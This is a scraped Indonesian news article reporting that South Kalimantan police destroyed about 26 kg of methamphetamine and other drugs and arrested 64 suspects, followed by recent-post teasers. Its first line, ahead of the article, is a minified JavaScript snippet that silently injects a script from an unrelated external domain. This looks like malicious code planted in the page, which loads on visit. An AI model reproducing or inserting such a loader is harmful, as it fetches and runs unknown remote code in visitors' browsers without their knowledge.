(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

26 Kg Sabu Dimusnahkan, Polda Kalsel Tangkap 64 Pelaku 10 Diantaranya Perempuan


KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah barang bukti narkotika hasil sitaan Direktorat Reserse Narkoba (Diteresnakroba) Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) dimusnahkan, Kamis (28/12/2023) siang.

Barang bukti yang dimusnahkan antara lain sabu seberat 26,628,57 gram (26,62 Kg) dan ratusan butir pil ekstasi hasil dari pengungkapan kasus selama periode 29 September hingga 13 Desember 2023.

“Sabu yang dimusnahkan kurang lebih 26 kilogram, kemudian ekstasi 579 butir dan 6.969 butir carisoprodal,” ungkap Kapolda Kalsel, Irjen Pol Winarto.

Baca juga: Gen-AMIN Kalsel Terbentuk, Siap Perjuangkan Harapan Anak Muda Kalsel

Selain menyita barang bukti dari hasil pengungkapan 40 kasus selama lebih dari bulan Polda Kalsel dikatakan juga mengamankan 64 tersangka, terdiri dari 54 laki-laki dan 10 perempuan.

Para tersangka dihadirkan saat konferensi pers pengungkapan kasus dan pemusnahan narkotika di aula Bhayangkari Manthilda Batlayeri, Kamis (28/12/2023) siang.

Lanjut Irjen Winarto, dari penyitaan dan pemusnahan barang bukti narkoba senilai Rp27.035.570.000 itu membantu menyelamatkan sebanyak 114.067 jiwa dari bahaya penyalahgunaan narkoba.

Pihaknya dikatakan Kapolda akan terus berkomitmen untuk memberantas peredaran narkoba di Kalsel. Di antaranya dengan melakuan penyelidikan lebih jauh terkait pola dan modus barang haram tersebut masuk ke Kalsel.

Baca juga: Cek Proyek Pembangunan Akhir Tahun, Ini Kata Wali Kota Aditya

“Kita terus melakukan pemantauan dan penyelidikan lewat mana barang haram ini diselundupkan, tidak mungkin begitu-begitu saja, mereka pasti akan berusaha merubah cara memasukan barang-barang ini,” ujar Kapolda Kalsel.

Pemusnahan barang bukti narkotika yang dipimpin langsung Kapolda Kalsel Irjen Pol Winarto juga dihadiri Gubernur Kalsel H Sahbirin Noor dan Forkopimda.

Gubernur Kalsel Sahbirin Noor mengapresiasi keberhasilan Polda Kalsel dalam pengungkapan kasus peredaran gelap narkoba di Kalsel.

Orang nomor satu di Kalsel ini menyebut akan terus mendukung pihak kepolisian untuk memberantas narkoba yang membahayakan masyarakat serta generasi di Kalsel.

Baca juga: Tiga Rumah Hangus di Pengambangan, Korban Nyawa Relawan Damkar

“Yang namanya narkoba itu merusak bangsa ini, merusak warga kita, oleh karena itu harus kita lawan bersama dan harus kita hajar yang namanyan penyalahgunaan narkoba,” katanya. (Kanalkalimantan.com/rizki) 

Reporter : rizki

Editor : bie


Muhammad Andi

Recent Posts

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

16 menit ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

4 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

7 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

7 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

9 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

10 jam ago

This website uses cookies.